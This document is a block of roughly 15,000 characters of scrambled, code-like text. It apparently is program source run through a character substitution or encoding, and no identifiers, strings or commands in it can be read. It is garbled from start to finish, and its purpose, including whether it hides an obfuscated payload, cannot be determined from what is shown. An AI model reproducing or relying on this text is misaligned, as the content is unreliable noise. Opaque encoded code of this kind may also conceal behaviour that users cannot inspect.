N\mCQP8RP GGGZGG\mmGGGGGmGGmGGO'8T O_SRNO8^	_SWW	ONNNGCTRT_	ZVQLVP\C^WZCTRT_	JTS\mGGC	TUQ
GZGGGUVT	PRPO8^	_SWW	ONN\mGGGGGGO _	S^O_SQNOC	TUQ
NNGGGGmGCSTGGGZGC +(%&+4<8T O_W_N:\mmmmGGGGGGGGOC	TUQ
GGGGGGGGGGC QW	RNGmGGGmGGGGGOC QW	RGGGGZZZGGGGGG_R T_R^ONNGGGmGG		\mmHHG07G.	G&7.GGmmGmGC_GGZG8^	_SWW	ONGGGGGGIGG@H@GGGGGIGC QW	R\mGGGOFG'T
O_UVNOC_NGGGGGQ^	UOPPNOQ^	UO_UUNOC QW	RKGGG		OT
O_SPNNNNGGFZZGGG8T O_S_NNGGGGmG		\mmGmGmmGGGGOPVPVOC_KGGCSTNNGGGGGmGWT	OC_N\mGCQP8RP GGZGG\mmmGGGmmmGGGGmGGGGGGGmGGGmGmGGGGGC
QQRT^GGGGGZGGGC +(%&+4< _	S^OS_UN:\mGGGGGGOT
O_SQNOC
QQRT^NGAAGFGG
OC
QQRT^NNGGGmHHG5GJGG
mmGGGGO_TR	8OC
QQRT^NNGGGmmmmGCQP8RP GGGZGG\mGGGmGGGGmGGGGGGGO3GC	VRV8UNGGGmHHG' GJmmSS_UU8OT
O_S^NKGGGC	VRV8UN\mGGGGGGGGGGGGGGO"	GGC	VRV8UNGmGGGGGmGGGGmGmmG		G
PSWONmGmHHG J	G 	JGmmmmGGGGGmCV
WR 
GGZGO	NG 8	OT
O_RWNKGWN\mGGGGGOOT
OPPWNONGJGGGGGCV
WR 
NGYZGGGOTRTQLQSNNGGGGmGGGGG8	O _	S^O_RVNKG8T O_RUNONN\mGCSVGGGZGOO	^P RONKGGGOT
O_RTNNNN\mC	WW	^GGGGZGGQ^	UO_RSNOQ^	UOU_NNGGGGGXGGGGGGQ^	UOU_NONGGGG]GEE\mmmmGGGGGOC	WW	^GGFZZGGEEGAAGC	WW	^GGGGFZZGGGGG	^P RONNGGGCSV<:GGGGGZGGOC	WW	^KGO _	S^O_RTNKG _	S^O_RRNNN\mGGGGGOCSVGGGGGGC_U
WTNGGGmHHG&7$G
G5"43G	mmGGGGGGOC_U
WT<V:GGGGGGGC V		R^8VNGGGGGGmGGGGGGCPGGZGGGGG _	S^O_RSNO _	S^ORW_NNGGGGGXGG'Q^	UORW_NOC_U
WT<W:GGGGIGG@H@GIGGGGGGC V		R^8VGGIG@M@NGGGGGG]GG\mGGGGGGGOF _	S^O_SQNOCPNNGG		\mGGmmmmGGGGOCPGGGGGGCRPPNGGGGGmGGGGGGOF'T
O_RQNOCRPPNNGGGGG		\mGGGGGGGC VUST^GGZG'T
OUWUNOCRPPN\mmmmGOC VUST^GGGFZZGGGAAGGGGOQ^	UO_RPNONGGJGGC VUST^NGGGYGGGOPW^PJTS^PNNGGWT	OCRPPN\mGmmmmCP_ 	QP
GGGGGGZGG 8	OT
OPP_NKGONN\mGGGGOFQ^	UO_SQNOCP_ 	QP
NNGCP_ 	QP
GGZGGGGGON\mGGGGCRW	W
VGZGGG _	S^OURPNOVQ^^WWT
WONKG8T O_R_NN\C
V_P
ZQVW\C	

ZOC
V_P
YWNXC
V_P
]JC
V_P
\mmmmC8GZGO	OQ^	UOVSWNNGGXGG078$()3")38#.5G]GG&%47&3/GGGIGGQ^	UO_R^NNGIGGGG _	S^O_QWN\mGO _	S^O_RSNOT
ORW_NNGGGGXGGONG' _	S^ORW_NOC8GGGIGGG _	S^O_QVNNGGG]GGGGGGONGGGCVVQ	NGmGGGGGGGGOQ^	UO_QUNO _	S^O_VWNOCVVQ	NNGGZZZGCRW	W
VNGG		\mGCPUTWRGZGT
O_QUNOQ^	UO_QTNOCVVQ	NNGGIGG@H@GGGGIGQ^	UO_QUNOCVVQ	N\CQW^^ZVSRVQQ\CRZCQW^^9VTS\mGGGGGGGGO _	S^OP^QNOCPUTWRKGGCP_ 	QP
KGGGGNNGG		\mGGGGGGGGOF' _	S^OVSPNOCVVQ	NNG		\mGCS8U GZGG' _	S^OUUTNOCVVQ	N\mGGGGGGGOFCS8U GGGGGCS8U GGGGYGOUW^PWPTLP^NNGGG		\mmGGGGGGCSW  Q 
GZG'8T OR^^NOCVVQ	N\mGGOFQ^	UOPQWNOCSW  Q 
NGGGGGGGGG _	S^O_QSNOCSW  Q 
KGT
O_QRNNGGZZZGGGNGG		\mCQRP
WSGGGZGG8T ORVVNO8T O_QQNKGGGGGEEKGGCSW  Q 
N\mGGGGGGGGGGGOFQ^	UOPQWNOCQRP
WSNGGGGGGGGCQRP
WSGGGGGZZZGGGCSW  Q 
GGGGGGFR	^W8POCQRP
WSNNGG		\mGTST		RVOCVVQ	KGGGGCQRP
WSN\mGGOT
O_QPNO8T OUWWNNNG'8	OCVVQ	KGN\mmmmGmGGGG	OCP_ 	QP
KGGGGGGCRW	W
VKGGGGC8KGGCVVQ	KGGGGGCPUTWRKGGCS8U KGGCSW  Q 
KGCQRP
WSN\mGGR	P W8WON\mGGGGGmGGmGGGCTPUSGZGGGGGC +(%&+4<8T O_Q_N:\mmC
QQRT^GZGC +(%&+4<Q^	UOS_UN:\mmGGGC  VGGZGGGO _	S^O_SQNOCTPUSNGGGGAAGGFG
OCTPUSNNGGGO8T O_Q^NOC
QQRT^NGGAAGGGFG
OC
QQRT^NN\mGGGGOFGC  VNGGGGmGGGGG	\mGGGGGmmmGC
 8VQGGZGGO	NGGG 8	O8T O_PWNKGGWN\mGGOO8T O_RPNONGGGGGJGC
 8VQNG[GGGGOW^^LWSPUNNGGGmHHG07G3 G$]G	G		mmGGGGG	\mGmmGGGmRS_WW8ON\m8	OQ^	UO_PWNKGT
O_RPNONN\mGGGGGGGGO3GGGC	VRV8UNGmGGGSS_UU8OQ^	UO_PVNKGGC	VRV8UN\mGGGGGGO"	GGGGC	VRV8UNGGGmHHG745JSG	
GG mmGGmmmmGmGGmGGG		GG Q	V ^U8Q	^ONmmGGGmmmGmmmGGGGGmmmGGCWSV 	GGGGGZGG	
UVUON\mGGGGmmGGGOFCWSV 	GGG _	S^ORRTNOCWSV 	NG[GGOSSULR_NNG	\mGGGGGOFR	^W8POCWSV 	NNGC

VRZS_Q\CS^PP	VZOC

VRYWNXC

VR]JC

VR\mmGSS_UU8OT
O_PUNKGQ^	UO_PTNN\m	\mGmmmGGGGGGGGO8T O_QPNO _	S^O_PSNNGGGAAGG 8		OT
O_PRNNNG	\mGGmmmGC SVUVGGZGGGG8^	_SWW	ON\mmON\mmmGGO' _	S^O_PQNOC SVUVNGGGGAAGF'8T O_SRNOC SVUVNNGmGGG	\mGmGGGGGmmmGGGGGGGOF' _	S^O_PPNOC SVUVNNGGGmGGGGGGGC	
GZGGGGG'
OWN\mmGGGGG8	VSS OC SVUVKGGGGGGOPRWJURPNKGGN\mGGGGG'
OC	
N\mGT8OC SVUVKGGOSVVL_UNN\mGON\mGGGGGGGOF'T
O_VVNOC SVUVNGGGGGGF'Q^	UOVSPNOC SVUVNNGGGmGGGGGT8OC SVUVKGGOUTRLUR_NN\mGON\mGGGmGGGGGmGGGGGGGO' _	S^O_PPNOC SVUVNGAAGGGGGOF' _	S^O_VVNOC SVUVNGGGF'T
OVSPNOC SVUVNNGGAAG'Q^	UO_STNOC SVUVNNGGmGC	
GGZGG'
OWN\mGG8	VSS OC SVUVKGGOVUPLTQQNKGGGN\mGG'
OC	
N\mmGGGGGGT8OC SVUVKGGGGOS_WLVTNN\mGON\mGGGGmGGGmGGGGON\mGGGGGGOF'8T O_PPNOC SVUVNGGGGGGF'Q^	UO_P_NOC SVUVNGGGF' _	S^O_VVNOC SVUVNNGGmGGGGSS_UU8OT
O_PUNKGGT
O_P^NN\mGGGOQ^	UO__WNO8T OP_VNNNGG'8		O8T O_PRNKGGVKGGORTSTJVPSTNN\mG	\mGGmmmmGGGmGGGGGCTSUSGGZGGC SVUVGGGGGGIGGGG@H@GIGG_R T_R^ON\mmmmGGGGGGGO
VT_QUV
 ROCTSUSNNGGm	\mmGGO'Q^	UO__VNOCTSUSNGAAGGGGG'Q^	UOUUTNOCTSUSNGGGYGGOS^PVLU^NGGGGGGAAGGGGGGT
O__UNO8_PRSPOO	 NGG'Q^	UO__TNOCTSUSNNNGGZZZGGGGG _	S^O__UNOCWSV 	NNGmGGGW^SS^8OCTSUSN\mW WP	ON\mmmmG QUP UP

 WON\mGG	\mGGGGGmGGGGO'8T O__VNOCTSUSNGGAAGG'T
OUUTNOCTSUSNGGYGGOWVQLWVVUNNGGGC
SURZJTPT\CQ8
ZOC
SURYWNXC
SUR]JC
SUR\mGGCUSWSTGGZGGGGGGO	 NG'T
O__SNOCTSUSKGKGGG	KGGGGGWKGGGGOSQ_TJR_PNN\mGOT
OPQWNOCUSWSTNGGAAGG _	S^O_WQNOQ^	UOPQSNKGGCUSWSTKGGC8
NGGAAGGG	8
OC8
<V:KGG _ Q	QTPONKGG@Y@NNGG	\mm	OCUSWSTKGGC8
N\mGGGmGGGGC_W8R	GGGZGGGGGGTST		RVOCTSUSKGT
VR	OCWSV 	NN\mmmmGGGOFC_W8R	GGGGF'8T O__RNOCTSUSNGGGGGGGG'8T OUUTNOCTSUSNG[GGOV_W^J_W^NGGGGG8T O__UNO8_PRSPOO	 NG'8T O__QNOCTSUSNNNGGGFZZGQ^	UO__UNOCWSV 	NNGGGmGGGGGOC_W8R	GGAAGGG'T
O__VNOCTSUSNNGGGGGmGGGCUSWSTGGGZGGGGO	 NGG'T
O__QNOCTSUSKGKG	KGWKGGOSWWUL^SNN\mGGGGGGGGCQ^8GGGGGGZG8T O__PNOCUSWSTNGAAGT
O_WQNO8T OPQSNKGGCUSWSTKGC8
NGGGGAAGGG	8
OC8
<V:KGGG _ Q	QTPONKGG@Y@N\mGGGGG	OCUSWSTKGGGGC8
N\mmGGGOFCQ^8NGGmT8OCTSUSKGGGGOPUVJTWVNN\mWT	OCTSUSN\mGGGmGGGmGGGGGGO8T O__WNO8T OP_VNNNG'8		O _	S^O_PRNKGGGGVKGGGGO_^ULUPW_NN\m	\mGmm^SSSVTOCTSUSN\CVQ_ZUU^QT\C8W	U_VZCVQ_9VSQ\mGT8OCTSUSKGGGOV_^LVWTNN\mGGW^SS^8OCTSUSN\mGW WP	ON\mGGGGGG QUP UP

 WON\mGGGGGGGGGGGGO3GGC	VRV8UNGGGmSS_UU8O _	S^O_PUNKGC	VRV8UN\mGGGGGO"	GGGGGGC	VRV8UNGGGGmmGmmG		G
UONmmmGGGGmCWSV 	GZGG	
UVUON\mGOCWSV 	GAAGGGFV UV
RR^QVOCWSV 	NNGmGC	
GZGGGGU ^STT	88OQ^	UO_WWNKGGEEN\mGCU^
 USGGZGGGGGVRQV^O8T O__PNOC	
NGGGGXGGGC	
GG]GGGGEEN\mGGGC8P88TGGZGGGGGVRQV^OCWSV 	N\mGGGGGOFQ^	UO__PNOC	
NGGGGGGQ^	UORRTNOC	
NGGG[GGGOW^^LWVRNGGGGV UV
RR^QVOC	
NGGGGGGCU^
 USGZZZGGGEEGGGGGGGOC8P88TGFZZGGGEEGGGGAAG	8
OC8P88TKGCU^
 USKG@Y@NNNGGmG8UQ	
UUOQ^	UO_WWNKGGGCWSV 	KG8T OP_^NN\mGGO8T O__WNOQ^	UO___NNNGmG'8	OT
OPSPNKGGWKGG _	S^OP_^NN\mGG'8	OQ^	UOQVQNKGWKGGGGGQ^	UOP_^NN\m'8	OQ^	UOPRPNKGGWKGGG _	S^OP_^NN\mGGGGGGmGGOQ^	UO__^NOT
O_^WNNNG'8		OV8 ^PRRPWONN\mmmmGGGGmmmmGGGGGmGGOQ^	UO__^NO8T O_^VNNGGGGGAAGGG8T O_^UNO _	S^O___NNNGGGGGmGGC T_GGGZGG 8	OQ^	UO_^TNN\mGGGGGOC T_GFZZGGGGAAGGC T_GGFZZGGG _ Q	QTPONNGGGmGG'8	OT
O_^TNKGGG _ Q	QTPONKG8T O_^SNN\mGGGGmmHHG		GGJ
mmGGGGOFGT
O_^RNOQ^	UO_^QNNGGGGGGFG8	OQ^	UO_^TNKGGGGG _ Q	QTPONKGGGEEKGQ^	UO_^SNNNGmG	\mmGGmGGGmGGGG
SU T

UPSON\mGGOQ^	UO_^RNOQ^	UO___NNNGGmGGGGGG'8	OQ^	UOPSPNKGWKGT
O_^SNN\mGG'8	O _	S^OQVQNKGGWKGGGT
O_^SNN\m'8	O _	S^O_^PNKGGWKGGGT
O_^SNN\mGGGmGGGGGGO _	S^O_^RNO8T O_^WNNNGG'8		OV8 ^PRRPWONN\mGmGGGGGGOCWSV 	GGGGGAAGGFV UV
RR^QVOCWSV 	NNGmG8UQ	
UUO _	S^O_WWNKGGCWSV 	KGGGGGGQ^	UO_^_NN\mGmHHG'	
GmmST
PSVQQ_P O	N\mGGGGGGGmGGGGGT8OVQ^^WWT
WONKGGGGGOWLWRNN\mHHG'	G
J	mmmmmm UWWTO _	S^OSSUNKGG8T OSSTNKGWN\mGmmGGGGGGG UWWTO _	S^O_^^NKGGGG _	S^O^WWNKGGGGWN\mGGGGGGO3GGC	VRV8UNGGGmGSS_UU8O _	S^O^WVNKGGGGC	VRV8UN\mGGGOQ^	UO_^RNO8T O^WUNNNGGGG'8	O8T O_^TNN\mGGGGGGGGO"	GGGC	VRV8UNGGmGGGGGGGGGGO _	S^O_^RNO8T O^WUNNNGGGGGG'8	OT
O_^TNN\mGGmmG		GG^8^WU
T ONmGGGGGmGGGGGGGGCZTQM_\C 	ZCJVU\mGGGGGGO _	S^O_^RNOQ^	UOP_SNNNGGmHHG07G"	G7GGmm'8T O^WTNO
8O@H@NKGO8T OP_QNGGGGZYGOVLSNKG8T OTT_NGZYGKGQ^	UOSS_NGZYGGGNN\mmmmGGmHHG7/7G_IUG	
]G	 G mmGGGO3GGC	VRV8UNGGGGmSS_UU8O8T O^WSNKGGGC	VRV8UN\mGGGGO"	GC	VRV8UNGGmGmGGGGGGGGmGGmGGGGG		GRRVV^R
VONmmmmGGGGGC^P^^WPGGZGG\mGGGOC^P^^WPNGG	\mGGGC^P^^WPGZG\mGGGGGGGmGGOFGGGGGT
O_^RNO8T O^WRNNGGGFG8
	ONNGm	\mGmGOFT
O_^RNO _	S^O_TVNNGGGGGGGF	88	OQ^	UO^WQNNNGGmGGGGGG	\mmGGGGGCQ RQGZGOC85"62"43<8T O^WPN:NGGXGC85"62"43< _	S^O^WPN:GGG]GGGEE\mGCQ RQGGZGG _	S^O__PNOCQ RQNGXGGT
OQ_VNOCQ RQNG]GEE\mGGGGOCQ RQGFZZGGQ^	UO^W_NGGGGGGAAGGCQ RQGGGFZZG8T O^W^NNGm	\mGGmGGGGGGGGmC88PWTRVP_QGGGGZGGGGON\mmGGGGOCQ RQGGZZZGG _	S^O^W_NNGGGmGGCQPR	_GGGZGGGOC85"62"43<T
OPWRN:NGGXGGGC85"62"43< _	S^OPWRN:GGG]GGGGGEE\mGGGGCQPR	_GZGG _	S^O__PNOCQPR	_NGGXGG _	S^O^VWNOCQPR	_NGGG]GGGEE\mGGGGOCQPR	_GGGAAGGGGCQPR	_GGFZZGGWRQP^W^QWONNGGGGGGmGC88PWTRVP_Q<:GZGGGCQPR	_\mmGGGGGGmHHG
	 GJ
mmGGGGmGGGGC88PVTGGGGGZGOC85"62"43<8T O^VVN:NGGXGGGGC85"62"43<8T O^VVN:GGGG]GON\mGGGGGC88PVTGGGGGZGGT
O^VUNOC88PVTNGGGXGGC88PVTG]GGON\mGGGGGOC88PVTGGCQPR	_NGmHHGGGG
	 GmmmmmGGCQPR	_GGGZGGGT
O__PNOCQPR	_NGGXGG8T O^VTNOCQPR	_NGG]GGGEE\mmmmGGGGGOCQPR	_GAAGCQPR	_GGFZZGGWRQP^W^QWONNGGmGGC88PWTRVP_Q<:GGGGGZGGCQPR	_\mGmGGGGGmGGGGGGGmGGGGO
OC88PWTRVP_QNNGGm	\C8_8
ZVUQ_W\C UZC8_8
9_V\mmHMGG	 J	GMHmmGGGGCQP8RP GGGZG\mGGGGGOC88PWTRVP_QGGGGGCQPR	_NGGCP

 ZOWULWTN\CR 
SZCP

 BVQ\mGGGGGGGGGOWVRQSQOCQPR	_NNGm 
Q_TU	OCQPR	_N\mGCQP8RP GGGGZGG\mmGmGGGOCQP8RP NGGGGmmmmGGGGOT
O_^RNOT
O^VSNNGAAGG _	S^O_^RNO _	S^O^VRNNNGGGGGGmHHG7/74	GG^]GGmmmmG88O
	8O _	S^O^VQNNN\mGGGGGmmGGGGGGGGO3GGC	VRV8UNGGGGmGSS_UU8O8T O^VPNKGGGC	VRV8UN\mGGGGGGGO"	GGGC	VRV8UNGGGmHHG745JSG	
GGmmGmmGGG		GGGGGG	ST	R^ OC 8
KGGGCPW WUPNmGGGmmmmGGGOCPW WUPGGGGZZZGGGQ^	UO^V_NNGGmGC 	GGGGGZGGGAC +(%&+4< _	S^O^V^N:\mGGGGOFOC 	<Q^	UO^V_N:NGGGGGF _	S^O^VUNOC 	< _	S^O^UWN:NNGGmmmmGG	GC 8
\mmmGGGGGC8VQ8UGGGGGZG	O _	S^OVSWNNGGXGG078$()3")38#.5GG]GGO	OQ^	UOWNNGXGGGGGG&%47&3/GGGIGGG _	S^O_R^NGG]GGGEEN\mGGGGGOC8VQ8UGZZZGGGGEENGGGGmGGGG	GGGGGC 8
\mGGGGGGGGmGCQ8GGZGGO _	S^O^UVNGGGGZYGGT
O^UUNKGG8T O^UTNGGZYGGGGGGQ^	UO^USNN\mGOCQ8GGGGGGGGC

SPGZYGGGC V		R^8VNGGGGGmmmmGOFOC 	<Q^	UO^URN:<C

SP:NNGGmG		\mmHHG'	
	GmmmmmGCT	TGZG' _	S^O^UQNOC8VQ8UGGIGGG@H@GGIGC

SPN\mGGGGGOF8T O__PNOCT	TNGGGGGGGGT
O_QSNOCT	TKGGGT
O^UPNGGIGC V		R^8VGIGGT
O^U_NNGGGGGZZZGNGGGGm		\mGGGGGGmmmGGGGC_	^T8GGZGGG8T ORVVNOQ^	UO^U^NGGGIGGGGGC V		R^8VGIGGG _	S^O^TWNGGGIGGGC V		R^8VGGIGT
O^TVNKGGGEEKGGGGCT	TN\mGGGGGGGGGOF _	S^O__PNOC_	^T8NNGmGG		\mGGGmC_	^T8GGZGGGG8T O^VTNOC_	^T8N\mmmGGGGOC_	^T8GGGZZZGGGEEGGGGC_	^T8GGZZZGGGGGQ^	UOPQVNGGGGGGGC_	^T8GGGZZZGT
OUR^NNGmHHG07G%7G		G33+mmGGG	OC 	<8T O^URN:<C

SP:N\mGGGGGGGGmGGGmGGG	GGC 8
\mGGGGGmmmmGGGGGGGOCPW WUPGGFZZG _	S^O^TUNNGGmG	GC 8
\mGmC 	GGGZGGGAC +(%&+4<T
O^TTN:\mmGGGCVRPGZGGGGGG _	S^O_QUNOVQ^^WWT
WONN\mGGGGGGGGOOC 	< _	S^O^TSN:<CVRP:NNGGGmGG	OC 	<Q^	UO^TSN:<CVRP:N\mmGG	GGC 8
\mGGGGmGGGOFT
O_^RNOQ^	UO^TRNNNGGmGG		G88
PSQSPV W
ONmmmGGOFGTV^T8V	_
ONNGGGGmGGGGGGG	\mmGGGmGGCU
V

PGZGT
O^TQNOVQ^^WWT
WONN\mGCUWGGZGGGGQ^	UO^TQNOVQ^^WWT
WONKGT
O^TPNN\mGGGGGCS8^SGGGGZGGCUWGGIG@H@GGGIGGGCU
V

P\mGGGGGGG _	S^O^T_NGGIGGGGGG8OCU
V

PNGIG _	S^O^T^NGGGGIG8OCS8^SNGIGGG _	S^O^SWN\mGGG _	S^O^SVNGIGGGG8OCU
V

PNGGGGIG _	S^O^SUNGGGGGIGGGGG8OCS8^SNGIGQ^	UO^STN\mGmmGGGGGOF8T O^SSNO8T O^SRNNNGGGmGGGGGG		GVSP_8OCW VQWNmmHMG 
GGMHmmGGGOFGT
O^_NOCW VQWNNGGmG	GGCW VQW\C TR	^_ ZQUS_\C^	RRTZC TR	^_ BVV\mGGmGCU
V

PGZGGWRQP^W^QWON\mGGGGGGOOCW VQWJY	<CU
V

P:NNGGGmGG	OCW VQWJY	<CU
V

P:N\mmmGGGGGGmHMG	GGMHmmGGGGG	GGGGGGCW VQW\mGGGGmmGGOFT
O^SSNOT
O^SQNNNGmm		GSQV^OC 	NmmGGCS VQWGGZGWRQP^W^QWON\mGGOOC 	<CS VQW:NNGGGGmGGGGG	OC 	<CS VQW:N\mGGmmGGGmGGGGCUWGGZGGGT
O^TQNOVQ^^WWT
WONKGG _	S^O^TPNN\mGGCS8^SGGZGGCUWGIG@H@GGGIGG8T O^SPNOVQ^^WWT
WONN\CR_VW^ZPST\CUSW8^ZOCR_VW^YWNXCR_VW^]JCR_VW^\mGGGOOC 	<CS8^S:NNGGmHHG07G6G+]G	G	mmG	OC 	<CS8^S:N\mGGGGGmGG	GC 	\mmGmGGGGGG		GG
_^ W PP  RVOCQT	8U_NmGGGGGGGGmGGOFGQ^	UO^VUNOCQT	8U_NNGGGGGmGGGG	GCQT	8U_\mGmGGC	W^^GGGZGGGGGEE\mGGGGGO _	S^O^SSNOQ^	UO^S_NNGAAG _	S^O__RNOVQ^^WWT
WONNNGGGGmGGGCTTWUGGGGGZG 8 	8OVQ^^WWT
WONKGGGGGKGGGGN\mGGC	W^^GGGZGGOCTTWU< _	S^O^S^N:NGGGXGCTTWU< _	S^O^RWN:G]GGEE\mmmmGGGmGGGC
SP^SGGZGGGOQ^	UO^RVNKGT
O^RUNN\mGGGOC
SP^SGGGGGGGGCWNGmGGOFGGGGOCQT	8U_<CW:<Q^	UO^RTN:NGGGGFGG _	S^O^RSNOCQT	8U_<CW:<8T O^RTN:NNGGGGmGGGG		\mmmGGmGGGGGGOCQT	8U_<CW:<8T O^RRN:GGGGGGGCGGGGGZYGGCSR
UNGGGGmmmmGGGGGGGO _	S^O^RQNOCKGGWRQP^W^QWONNGGGFZZGGGGGGGGGGGGCGZZZGGGGWRQP^W^QWONNGmGGGGGGG	OCQT	8U_<CW:<8T O^RRN:<C:N\mGGGGG		\mGGmmGGGGGGOC	W^^GGFZZGEEGGGAAGGGCGGZZZGC	W^^NGGGGmmG	OCQT	8U_<CW:< _	S^O^RRN:<C:N\mG		\mGmGGGGGGGGmmGGmHHG07G) 	G%]G	J
		GJmmGGGOOQ^	UO^RPNKGGGGGT
O^R_NNGGGGGGGCSNGGGmGCUS8Q  GGZGGGOCQT	8U_<CS:<8T O^RRN:NGAAGG8T O^RSNOCQT	8U_<CS:<T
O^RRN:NGGGXGGGGGCQT	8U_<CS:<Q^	UO^RRN:GG]GGGGON\mmGGGGGGGGGGOFCUS8Q  NGG		\mGGGCP P8GGZGGGGG	OT
OVSNNGGGGXG07*287+2 .)8#.5G]GO	OT
OVSWNNGGXG078$()3")38#.5GIGGQ^	UOVRNGGGGGG]GGGGGGEEN\mmmmGGGC8^_88V
GGZGGGGON\C 8WZOWPRLWQN\C V ZC 8WBQ\mGGGGGGGOC	W^^GGFZZGGEENGGGC8^_88V
<:GZGGC	W^^\mGGGC8^_88V
<:GZG8T O^SPNOVQ^^WWT
WONN\mmGGGGGGOCP P8GGFZZGGEEGAAGGG'T
O_PPNOCP P8NGAAGT
O^SSNO _	S^ORW_NNNGGGC
 ZUVTW\C
V
R
WZC
 9SQ\mmGGGGGGGGGGGGOONG'Q^	UORW_NOCP P8GGIG _	S^OQQUNNGGGGGC	URUWNGGmGCP^TSGGZGG'Q^	UO^UQNOC	URUWKGGKGG	KGWKGGGOVRUUPJPWTRNN\mGGGGOF _	S^O__PNOCP^TSNGGGGGGQ^	UO^RQNOCP^TSKGT
O^R^NNGGGGGGZZZGGGGGNGG		\mmmGGOT
O_WQNOQ^	UO^QWNKGCP^TSKGGGGCUVTS_NNGGmGC 8	STVWGZGGG _	S^O^VTNOCUVTS_<V:N\mmGGGOC 8	STVWGFZZGGEENGGGC8^_88V
<:GGGZGGC 8	STVW\mGGmHHG	GmmmmmGGGC8^_88V
<:GZGGT
O^QVNOC	URUWN\mGmGmmmmGGGOCUS8Q  GGGCGGZYGCSR
UNGmGGGGOC8^_88V
GGGGC	SPS8NGGGGmGGOCGGZZZGGC	SPS8GGCGGGZZZGG	88OC	SPS8NNGGGGGGmG	OCQT	8U_<CS:<8T O^RRN:<C:N\mG\CV^R_
ZOWQLWUWN\CUW8UUZCV^R_
BVT\mmmmmGmmmmCWWTVPUVGGGZGGGOCQT	8U_<8T O^QUN:<Q^	UO^RRN:NGGAAGGGQ^	UO^QTNOCQT	8U_<T
O^QSN:<T
O^RRN:NGGGXGGCQT	8U_<Q^	UO^QSN:<T
O^QRN:GG]GON\mGGGGOCWWTVPUVNGmC8VQ8UGGZGG	O8T OVSWNNGGGGXGGG078$()3")38#.5GGG]GGO	OT
O^QQNNGGXGG&%47&3/GIGG8T O^QPNGGGGG]GGEEN\mCQ8GZGGGGOQ^	UO^UVNGGZYGGGGGQ^	UO^UUNKGG8T O^UTNGGGGGZYGG8T O^USNN\mGGGGGOCWWTVPUVGGGGCGGGGZYGGGCSR
UNGGGGmGGGGGGGGGOFOCQ8<C:NGGGGGGC8VQ8UGGGGZZZGGGGGEENG		\mmCT	TGZG'8T O^UQNOC8VQ8UGGGIG@H@GIGGCKGGKGG	KGWKGOQV^_JUVWUNN\mGGGGGGGGO8T O__PNOCT	TNGAAGGGGGGO _	S^O^RQNOCT	TKGG8T O^Q_NGIGGGCQ8<C:GGGIGGQ^	UO^Q^NNGGFZZGGGGGGGGQ^	UO^PWNOCT	TKGGGGGG _	S^O^R^NNGFZZGNNGGGm	OCQT	8U_< _	S^O^QSN:<8T O^QRN:<C:N\mmmmHHG	GG

	mmmmmGmmHHG07G7 G+]G	 GJmmGGGGGG	GCQT	8U_\mGGmGGGmGGG		GGG8PW
8ROCRTWSNmmGGGGGGGGOFGGGGQ^	UO^QTNOCRTWSNNGGmHHGGGJmm	GCRTWS\mmGGCSVTQUGGGZGGGG _	S^O^QVNOVQ^^WWT
WONN\mGGGCQPVTGGZGGQ^	UO_UUNOCSVTQUKGGG7&3/.)!(8!.+")&*"N\mGGGGC _WGGGZGOmGGOT
O^PVNGGZYGG@D@GIGG8T O^PUNOCSVTQUKGGG@D@NGIGT
O^PTNKGGG8T O^PSNGGGGGZYGGNKmmmmGGGGO _	S^O^PVNGGGGGZYGGQ^	UO^PRNGGGGGIG8T O^PUNOCQPVTKG@D@NGGIGGGQ^	UO^PTNKGGT
O^PSNGGGGGZYGGGNKmN\mGGGOOCRTWS< _	S^O^PQN:NGAAGQ^	UO^QTNOCRTWS<Q^	UO^PQN:NNGGGGGGmGGGGGGGGGGOCRTWS<T
O^PQN:GGGGCWR_QURGGGGGZYGC^  RSNGGmmGGGOFGG8T O^PPNOC^  RSNGGGGGFGGGGG8T O^P_NOCWR_QURNNGGmG		\mmmmmGGGGGGGOFGGGOCRTWS<Q^	UO^PQN:<CWR_QUR:<T
O^P^N:NGGGGGGGGFGQ^	UO^PPNOCRTWS< _	S^O^PQN:<CWR_QUR:<T
O^P^N:NNGmmmCRTWS<Q^	UO^PQN:<CWR_QUR:<Q^	UO^P^N:GGGZGGON\mGGmGGGGGGGGGOC _WGGGGGGC
^NGGGmHHGJ	G 	JG  mmmmmCRTWS<T
O^PQN:<CWR_QUR:<T
O^_WN:<:GGZGGGC
^\mGGGGmGmGmG	GCRTWS\mGmGmGGGG		GGGGVQ	^ONmGCW
SPVRZ7/78.)38*&?H7/78.)38*&?\CTU8ZCW
SPVRL^V\mGGGGGGmGGGGGOFG	O _	S^O^_VNNGGGGGG		OT
O^_VNNGG[GGGOULRNNGGGGGGmGGG	\CT	T8Z7/78.)38*&?H7/78.)38*&?\C8
 ZCT	T8LVT\mGGGmGGGGGGGGO8T OQW^NO8T O^_UNKGGNNGGGmHMG
JGJ	GMHmmG	\mGGGmCWS
TGGGZGGGGGG _	S^O^QVNOVQ^^WWT
WONN\mGGGGGC_^SGGZG	OQ^	UO_U_NNGXGGG0787+2 .)8#.5GGGGG]GEE\mGC8^TGZGGOmGC_^SGGGGGGIG _	S^O^_TNKmGGGC_^SGGGGGGIGT
O^_SNKmmmmGGGGGGGC_^SGGIG8T O^_RNKmGGGGGGN\mmC	
  WGZGGGGGEE\mGGGOC8^TGGGGGCU
V

PNGmGOCU
V

PGGGGFZZGGGGEEGGGAAGGG'T
O^_QNOCU
V

PNGGAAGGG'T
O_VVNOCU
V

PNNGGmmmmGGGC	
  WGZGGGCU
V

P\mGG\mGGGmGmGGGGGGGGOC	
  WGZZZGEENGGmGGG	\mGGmGGGGGCWS	

T
8GGZGG8T O_QTNOC	
  WN\m88 O		GOCVSW^TNGGGGGGGGOCWS	

T
8NGGGGmGGGGGGOOCWS	

T
8GGGGIGGG@H@GIGGGCVSW^TGGIGT
O^_PNKGGGGCWS	

T
8GGGIGGGG@H@GGIGGCVSW^TGIGGGG8T O^__NNGGGGGGCRPSNGGmmmmGGGGGGGGGO' _	S^O^_QNOCRPSNNGGGGm	8	GGCRPS\mGGGGGG	\mGmmmmGGmmmmGGGGGGN\mGGGC
S_RUWVGGZGG'8T O^UQNOC	
  WN\mGGOC
S_RUWVGGGZZZGGGGGGGGGGGG _	S^O^PWNOC
S_RUWVKGGGGGGQ^	UO^_^NNGZZZGGGGGNGGGGGmmmmGGGGG	\mmGGC
S_RUWVGGGZGGGG _	S^O^^WNOQ^	UO^^VNKGGGEEKGGC
S_RUWVN\mGGGGGC
S_RUWVGZG8T OSW^NO _	S^O^_^NKGGG _	S^O^^UNKGC
S_RUWVN\mGGC	RT GGZGGGGGG8QQ	TS8VQWQO
